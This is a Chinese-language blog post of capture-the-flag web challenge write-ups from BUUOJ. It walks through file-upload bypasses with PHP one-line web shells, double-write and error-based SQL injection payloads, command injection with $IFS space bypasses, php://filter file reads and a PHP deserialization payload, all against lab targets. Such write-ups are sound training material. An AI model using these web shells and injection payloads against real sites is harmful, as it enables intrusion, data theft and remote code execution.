
BUU 刷题
ACTF2020-新生赛Upload
界面如图所示,很明显的文件上传题目

简单先编写一个 shell.jpg 的文件,编写一句话木马
<?php @eval($_POST['shell']);?>
然后直接上传,上传成功

抓包后,修改后缀为 .php,不出所料得被阻挡了,换成 .phtml,成功上传,并通过中国蚁剑连接。找出 flag

源码解析

第 110 行
if(in_array($ext, [‘php’, ‘php3’, ‘php4’, ‘php5’])) 判断后缀是否在此数组中,简单过滤 php第 114 行
$new_file_name = md5($file_name).".".$ext;
将文件名转换为 md5 的形式,再上传。在文件夹中还发现了 .htaccess 文件,所以还可以通过覆盖 .htaccess 文件的方式进行 getshell
强网杯2019-Upload
0x01 题目
根据题目名称来看,既然是 Upload,那就不去考虑登录注册界面的 SQL 注入了。
简单注册登录之后的界面

上传简单的一句话木马,会被过滤。尝试进一步的 EXP
<script language='php'>eval($_POST['cmd'];</script>
上传成功,之后是一个 /upload 的界面,没看懂

既然是上传成功了,看一看能不能直接连接 shell 吧。
连接失败,应该是被解析了,或者不在这个位置吧,去看看 Js 里面有没有玄机。
解密了一下,也不是 md5;Js 写的也没问题。
没啥思路啊,想办法去找源代码
0x02 找源代码
尝试把 cookie 扔进去 base64 解析一下,发现确实有疑点,说不定是反序列化的题目。

这里我们可以看到 img 的位置,但是并没有被解析成 php 或者 html,js 等等可执行的语句。
用御剑扫出源码,目录为 /www.tar.gz
下载源代码,先看路由

一切正常,主要看 upload
的功能点,文件位置位于 Profile.php 下
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}
img 这里的 upload_menu 和 filename 都是可疑对象,逐个排查一下。

清楚了,果然是 md5 加密,再去看 filename 的。

Filename 则是先经过 md5 加密之后再转换成 png 的格式。
感觉没啥用,去找序列化的功能点。

也没啥用,好好分析一下文件上传这个功能点。
尝试一下利用 GET 请求绕过
RoarCTF2019-EasyCalc
0x01 题目
靶场界面如图所示

既然是输入表达式,那么直接输入 2*2
试试

得到结果为 4,这里猜测是否存在 ssti,输入 {{2*2}}
,发现有一种被 WAF 拦截的感觉。
- 有点没思路了,f12 看看

果然是设置了 WAF,不过这种 WAF,CTF 里面怎么可能是真正的 WAF 设备,只是一些规则吧。
还有一点非常引人注目,url 这里,看到了 calc.php
,我们跳到 calc.php
看看。发现了一段过滤规则的源码,拷到 vscode 里面。
0x02 代码审计
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
这里 preg_match
的写法挺有意思的,可以借鉴一下
foreach 进来,匹配不同的规则 /m
这里多行查找,避免了 CRLF 的绕过手段,
0x03 绕过手段
使用空格绕过,当php进行解析的时候,如果变量前有空格,就会删去空格再进行解析。
而前面的黑名单中就没有考虑到这个状况,我们就可以在num的前面加个空格来绕过,因为这是我们的变量名就是“ num”而不是“num”了。
尝试一下
http://node4.buuoj.cn:27411/calc.php?%20num=phpinfo();
确实可以

0x04 构造 EXP
OK,我们已经知道如何利用了,接下来就是要去找 flag 所在的地方。
在 PHP 中的命令为 scandir
,那么我们的初步 EXP 为
http://node4.buuoj.cn:27411/calc.php?%20num=print_r(scandir(/));
注意到之前的地方,/
也是被过滤的,这里我们使用 chr(47)
绕过斜杠

看到这里有个文件夹名为 flagg
,用 file_get_contents
把它搞出来。
读取 flagg,对应一个个的 ascii 码。
file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

RoarCTF2019-Easy Java
弱口令 admin,admin888 进去,发现没什么信息
将help界面用 POST 发包,能够进行任意文件读取。因为是个 Java 题目,去读 WEB-INF/web.xml

读与 flag 有关的 FlagController,但是这里是需要加上后缀 .class
的

ZmxhZ3tlMDM1MjM5MS0xMTliLTRmZTUtOWVhOS0xMDEzMTMyZjYzMTR9Cg==
base64 解码
flag{e0352391-119b-4fe5-9ea9-1013132f6314}
极客大挑战 2019 BabySQL
老方法,先输入1'
来观察SQL语句,确定SQL闭合之后开始尝试
发现万能密码,联合注入都不行

使用order by判断字段数,也不行,而且发现输入的order只剩下了der,or
被过滤。得出结论,union,select,or都被过滤。
- 尝试双写绕过
1' uniunionon selselectect 1,2,3#
成功绕过

1' uniunionon selselectect 1,database(),3#

这里想要进行下一步的爆破表名,结果爆破的时候居然出问题了
1' uniunionon selselectect 1,group_concat(table_name) from information_schema.tables where table_schema='geek',3#

发现from和where也被过滤了……………………
继续进行双写绕过,其中information
中因为有”or”,所以也要对”or”进行双写绕过。
payload
1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

爆破column名
1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='geek' #

最后:
1' ununionion selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql #
- 这里的“password”也需要进行双写绕过

极客大挑战 2019 EasySQL
先输入1'
测试SQL语句
得知SQL语句后,进行联合注入,直接出来了…………

极客大挑战-2019Http
打开靶场,就是一个 php 的界面,抓包之后发包,无发现可利用信息。
因为题名为 HTTP,马上想到 HTTP 请求,于是输入 id = 1,无其他回显。
用 Burpsuite 内置的工具,检查一下是否存在可疑界面
发现了一个可疑网站,进去康康
点进去之后界面如图所示
虽然提示说 “It doesn’t come from ‘https://Sycsecret.buuoj.cn‘ “ 不管,头铁就是要进去看看。结果 500 了
这里很可疑的是 Referer,修改 Referer 为 上述 URL 试一试。
出现了不一样的回显,是个好消息。但是还是没有搞到 flag,根据提示 “Please use “Syclover” browser”,Syclover 怎么可能是个浏览器,此时想到 User-Agent。替换 User-Agent 再尝试一次。
回显再次改变,”No!!! you can only read this locally!!!”
伪造 XFF: 127.0.0.1
成功获取到 flag~
小结
本道题主要考察了 HTTP Headers 的一堆知识,这里再总结一下
Referer:Referer
请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer
请求头识别访问来源。Referer 实际上是 referrer 的错误写法哈哈哈哈。
User-Agent:简写也叫 UA,是特征符,每一个软件都对应一个 UA。同样的,UA 可以被事先伪造。比如 Xray 的 UA 会被伪造成 Firefor Mozila。
XFF:全称 X-Forwarded-For,在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址。
极客大挑战-2019Knife
点进去看,这……简单 getshell?
直接中国蚁剑动手

连接成功,直接在根目录文件夹里面找到 flag

极客大挑战 2019 LoveSQL
- 进入界面,输入一个数字1,查看SQL语句

- 根据SQL语句的闭合,使用万能密码登录
admin' or '1'=1'

但是再使用这个密码登录之后,发现还是同一个界面
使用联合注入,发现报错
admin' union select 1,2,3,4#

最后判断得到字段数为3

发现2,3位置可被查询
这里前面的username一定不能是admin,一开始用admin一直不行,后面看了WP才改成了1
1' union select 1,database(),3#

发现数据库的名称为geek,开始进一步查询
1' union select 1,group_concat(table_name) where information_schema.tables where tables_schema='geek',3#
结果得到报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '3 %23' and password='1'' at line 1
尝试放到3字段中
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()
再进一步爆破column名

只有一个payload检索出flag
1' union select 1,2,group_concat(password) from l0ve1ysq1
极客大挑战 2019 HardSQL
- 很古早的题目了,现在再回顾一遍
先 fuzz,看一下哪些关键字被过滤了。发现过滤了 and、= 空格 union等多个 sql 关键字。发现有一些,报错注入的函数是没有被过滤的,那我们这题就可以通过报错注入来进行注入。
所以本质上就是一个报错注入,构造 payload
1%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

这里因为被过滤了空格,所以用 ()
来 bypass 空格,payload 如下
1%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

爆字段
1%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23

要把所有的 username 和 password 爆出来

如果是用 substr()
函数,这里是不行的,因为会被过滤,所以要另辟蹊径,用 left()
和 right()
绕过,构造 payload 如下
1%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))
极客大挑战-2019Secret-File
靶场界面如图所示,看到这个题目加 index 的界面,感觉就是扫目录了。

用 Burpsuite 扫静态资源,查找到一个名叫 “/Archive_room.php”的目录。

输入后界面如图所示

点击无比诱人的 Secret,发现屁都没有。

它说我是不是没有看清,抓包试试,感觉中间丢了什么。果不其然,抓包后得到在跳转中,夹带了私货的 “action.php”,查看界面,哼哼,被我抓到了吧。

进入 /secr3t.php,出来了一段 php 的代码,简单代码审计一下。

- 看到注释,说 flag 在 flag.php 里面,结果又被骗了………………

这里说我看不见它,我觉得是背景太黑了,调整试一试。

好吧,没什么用。还是回去,沉下心来代码审计。
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file); //flag放在了flag.php里
?>
</html>
很显然,是获取 GET 请求的参数 File,File 当中不能由目录遍历的攻击,也不能出现 “tp” “input” “data”; 尝试一下 File = flag.php;也失败了
猜测存在文件包含漏洞
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
php 读取文件时是通过这样的方式的
php://filter/read=convert.base64-encode/resource=flag.php
所以构造 payload
?file=php://filter/convert.base64-encode/resource=flag.php

再将得到的答案进行 base64 解码,即可获得 flag
极客大挑战-2019Upload
靶场部分
看名字就知道是文件上传了。题目界面如图所示

这背景看着就烦,先删了。
拿 Buprsuite 抓一下包,观察一下上传文件的请求。这里我上传的是 jpg 的文件,上传之后的界面如图所示

不太懂,不是说上传 jpg 的吗…………为啥会这样。按照道理来说至少 jpeg/jpg/image 这种,起码能传上去阿……………………算了,毕竟是 CTF,直接传 php 好了。

呃,PHP 应该说是肯定会寄的,试试文件上传的一些普通攻击方式,尝试使用文件上传的方式 GetShell。
一句话木马。对应编辑文件 ———— shell.jpg
<script language='php'>eval($_POST['cmd'];</script>
尝试上传失败,表明网页存在后端检测,添加 jpeg 图像头

再用 .phtml 的方式绕过

猜测网站将上传的文件全部存在了 /upload 目录下,直接访问 /upload

找到我们的 shell.phtml,用蚁剑连。
网站:http://a8f651b3-11d3-4223-be9a-0d6e367040e0.node4.buuoj.cn:81/upload/shell.phtml
密码 cmd
连接上之后 找出 flag
源码部分
我们现在解出题目了,回来看看源码,先说说本人在尝试的过程中遭遇的困境吧。
- 在正常的渗透测试环境中,jpg 的文件是肯定可以上传的,而不是上传后出现 “Don’t lie to me”
- 在上传的过程中,尝试了上传 php,php2.php3 文件都失败了,怀疑上传文件中包含 php 就会被过滤。
- 修改 MIME 的时候,会回显错误:NOT IMAGE
代码的第 53 行开始,进行过滤操作,对上传的文件进行限制。我们逐步解读一下。
第 53 行
$file[“size”] < 20480) 要求文件上传的内容小于 20kb第 59 行
elseif (in_array($extension, $allowedExts)) 判断上传的文件的后缀是否是 “allowedExts” 里面的文件后缀名
第 62 行
elseif (mb_strpos(file_get_contents($file["tmp_name"]), "<?") !== FALSE)
不允许上传的文件中包含 `<?`
第 65 行
elseif (!$image_type) 非 image 后缀的上传是不允许的
GXYCTF2019BabySQli
老规矩,先输入 1'
查看SQL语句

尝试万能密码,SQL语句闭合,但是无法进入
1' or '1'='1

进行union的联合查询,发现当字段数为3的时候成功,但进入之后无法利用字段回显,懵逼了…………为什么会是wrong user呢……?

f12查看源代码,发现有一段字母,意义不明,先拉出来看看吧。

尝试base32解密之后再base64解密。

尝试输入admin,admin作为账号密码,显示wrong pass
,那admin应该是username无疑了,尝试admin与’admin’。
那既然得到的报错是wrong user,那我们直接尝试在1' union select 1,2,3 #
的payload中将’1’修改为admin,返回报错。

咦,这么看的话,第一个字段应该能够回显信息咯?尝试在第一个字段输入”dartabase()”,同样报错了。

那说明………………应该尝试一下'admin'
,在第一个字段输入’admin’,毕竟我们现在报错。

尝试第二个字段中输入’admin’。

看来username这里已经搞定了,需要对password进行绕过了。毫无头绪如何绕过……
我们猜测search.php它的后端是怎么写的:
$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}else{
die("wrong pass!");
}
}else{
die("wrong user!");
}
}
利用联合查询的特点:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
payload:
1' union select 1,'admin','202cb962ac59075b964b07152d234b70' #
“202cb962ac59075b964b07152d234b70”为123的md5加密值,此题由于过滤了括号,所以不能用md5()函数。在密码处输入我们自定义的密码123,即可绕过检验,成功登陆admin账户
GXYCTF2019-PingPingPing
打开靶场,界面如图所示

结合题目名称来说,PingPingPing,加上看到的 ?ip= 有点死亡 Ping 的感觉。
先尝试 Ping 自己,然后 Ping baidu.com,再 Ping Google.com,列表展示一下回显。
输入 | 回显 |
---|---|
?ip=127.0.0.1 | PING 127.0.0.1 (127.0.0.1): 56 data bytes |
?ip=baidu.com | PING baidu.com (220.181.38.251): 56 data bytes |
?ip=google.com | PING google.com (8.7.198.46): 56 data bytes |
当然,这里 Ping Google.com 肯定是被 DNS 劫持了,一看就是错误的 IP。
- 没有后续的思路了,尝试用 Burpsuite 抓包试一试。
并没有什么卯用

考虑到题目名叫 PingPingPing,尝试继续添加 /?ip=127.0.0.1,查看回显。
- 哦嘿,有点东西

再加一个?达到 PingPingPing 的效果,可惜效果并不尽如人意,抓包,仔细分析一下 fxck 那张图的请求。
- 好吧,还是没什么用………………
!!!!!!!!!!!!柳暗花明又一村!!!!!!!!!!!!!
因为在输入两个 /?ip=127.0.0.1
之后,前端的回显是 /?ip= 1fxck your symbol!
直接用这个参数,试一试通不通。Nice 起飞!

但是使用 /?ip= fxck your space!
时,却没有回显了
- 换一种思路,重新回到界面,尝试命令执行攻击
命令执行方式攻击
看到 ?ip=
很容易想到命令执行注入,使用 ;
或者 |
闭合上一条命令
初步的 payload
/?ip=;ls

看到了 flag.php 的文件,直接 cat 应该就可以了吧?
尝试 payload
/?ip=;cat flag.php
得到的回显还是 /?ip= fxck your space!
,说明空格很可能是被过滤了,不可以输入到 ip 参数当中。
空格被过滤时使用 $IFS$9
绕过。
payload 构造如下
/?ip=;cat$IFS$9flag.php

还是报错,说明关键字 flag 被过滤
尝试可不可以将此文件夹下的所有文件都 ls 出来,构造 payload
/?ip=;cat$IFS$9`ls`
只获取到了 index.php 的内容,看到一系列的过滤规则。

- 静下心来,代码审计,实际上就是简单的进行了过滤。
尝试绕过,先将 flag 中的 g 赋值给 变量 a,那么 flag 就变成了 fla$a
,payload
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
终于出来了,累 QAQ

HCTF 2018 admin
打开网站,主界面如下图,在”hctf”有一处链接,好奇,点了进去,href是/post
/post有点像博客的感觉?不知道,查看login和register。

- 源码中有一段注释
<!-- you are not my admin -->

题目名为”admin”,尝试在register中注册admin,admin。提示
The username has been registered

猜测应该是访问控制,提权类的题目,或许也可以用SQL注入(?)
尝试了SQL注入,过不去,已知用户名为admin,对password进行爆破……没爆出来,抓包后也手足无措。尝试再注册一个账号吧,一直在外围进不去总不是什么办法。随意注册一个账号并登录。
看一看界面,非常敏感地抓到了救命稻草,chang password
,抓包。


这里已经做好了通过remember_token和session替换的方式对admin进行密码修改,可是在登录的时候,发现输入admin,123(我之前设置的密码),直接通过了…………虽然flag是拿到了,但是题目的原理还是没搞懂,深究一下。
唔,原来是我眼瞎,没看到注释里面的GitHub

python flask的解法不会,看了看Unicode欺骗,
大致的思路是:在注册的时候”ADMIN”经过strlower(),转成”ADMIN”,在修改密码的时候”ADMIN”经过strlower()变成”admin”,当我们再次退出登录的时候”admin”经strlower()变成”admin”(没啥卵用,但是你已经知道了一个密码已的”admin”,而且在index.html中可以看到只要
session['name']=='admin' 也就是只要用户是'admin'就可成功登录了)
这解法还真是出人意料
极客大挑战 2019 Buy Flag
简要点进去,发现有个 pay.php 的接口,感觉要做什么身份认证吧或许?扫一下目录看看。
没扫出来,看到 pay.php 的 cookie 字段很特别,有一个 user=0 的键值对,把它修改成 cuit 试了试,还是没用,然后在 response 请求中突然看到了源码。

这里是若判断,所以构造一下 payload 吧,只需要 password 字段即可。
修改 password 为 404,user 为 cuit 发包,没得到 flag,有点奇怪。加上 money 字段试一试
还是没用,尝试将 user 改为 1,因为 0 代表 false,1 代表 true。
也就是这样

但是回显错了,可能是 100000000 这个数据太长了,猜测被 strcmp
了,用科学计数法简单绕过:10e10
发包成功,得到 flag

极客大挑战 2019 PHP
- 应该是有泄露源码,尝试 /www.zip
这里吧,序列化反序列化,参数传 select

再看 class.php 的文件

这应该就是要我们构造序列化的东西,传进去,但是要跳过 __wakeup()
方法
这里构造序列化的话是这个
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()
函数的执行
因此我们将序列化这样设置
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
不过还是没有结束,因为这个声明变量是private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
我们再次改造一下序列化
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
就可以了

BJDCTF2020 Easy MD5
不是很懂攻击点,单纯 password 不太能攻击吧,传参是 password,先扫一波看看。
应该是没啥东西,看源码,发现了东西。

这里挺难的,如果不知道的话,基本做不出来,
上网找 payload 可以很轻松地找到 ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是
select * from 'admin' where password='' or '6xxxxx'

o 这里我想多了,直接会到这个接口

a,b md5 相同,但是值不能相同,如果队里有密码手估计不用多久吧。
QNKCDZO
s155964671a
过了
接着第三个,用数组绕

MRCTF2020 你传你🐎呢
- 典型的文件上传题目
传 php 不行,传 jpeg 无法解析,加文件头不行,尝试 .htacess

传 htacess 后传入一句话木马即可,我这里失败了,可能是容器的问题吧
ZJCTF 2019 NiZhuanSiWei
源码如下
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php $password = unserialize($password);
echo $password;
}
}
else{ highlight_file(__FILE__);
}
?>
绕过 text
这里的限制,因为要读取文件中的字符串,所以我们可以用这种方式绕过
?text=data://text/plain,welcome to the zjctf
后续需要通过 ?file
进行文件包含,再通过 password
进行反序列化,所以这一步我们应该是要去通过 ?file
参数读源码,payload 如下
file=php://filter/read=convert.base64-encode/resource=useless.php
如果直接读是读不到任何信息的,因为直接读只能读出一行

转码之后得到源代码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
到这里就很简单了,编写 payload
$a = new Flag();
$a->file = "flag.php";
$b = serialize($a);
echo urlencode($b);
按照道理来说打的 payload 应该是这样的
/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
但是这个 payload 实际情况打不通,实际打的过程中需要将 file=useless.php
,可能是因为 file
的内容将后续部分给覆盖了

SUCTF 2019 CheckIn
简单的上传文件判断了一下,可以通过添加文件头 GIF89 bypass 所谓的文件后缀检测。当然里面还会匹配 <?
,一些简单的探测如图


在上传成功了相当于做了一个 ls
的命令
因为这里会去判断文件里面内容是否存在 <?
,感觉 PHP 的🐎都不太好上传,用到这种🐎
<script language='php'>eval($_POST['cmd'];</script>
这里有点坑,其实自己想到了用 .user.ini
配合后面这个马打,但是我的 .user.ini
不完全对,应该是要这样
auto_prepend_file=a.jpg
这两个设置的区别只是在于 auto_prepend_file
是在文件前插入;**auto_append_file
** 在文件最后插入(当文件调用的有exit()
时该设置无效)
但是后面还是没打通。。。好像是我自己的payload问题,最终打通了
shell.jpeg
<script language='php'>@eval($_POST['shell']);</script>
watevrCTF-2019 Pickle Store
- 做一个 Pickle 反序列化的题目,之前强网杯就碰到了,如果当时自己能够有这方面的知识储备,或许也能做出来,所以现在恶补一下。
- 本文标题:Buu之Web部分刷题记录
- 创建时间:2022-07-20 17:40:34
- 本文链接:2022/07/20/Buu之Web部分刷题记录/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!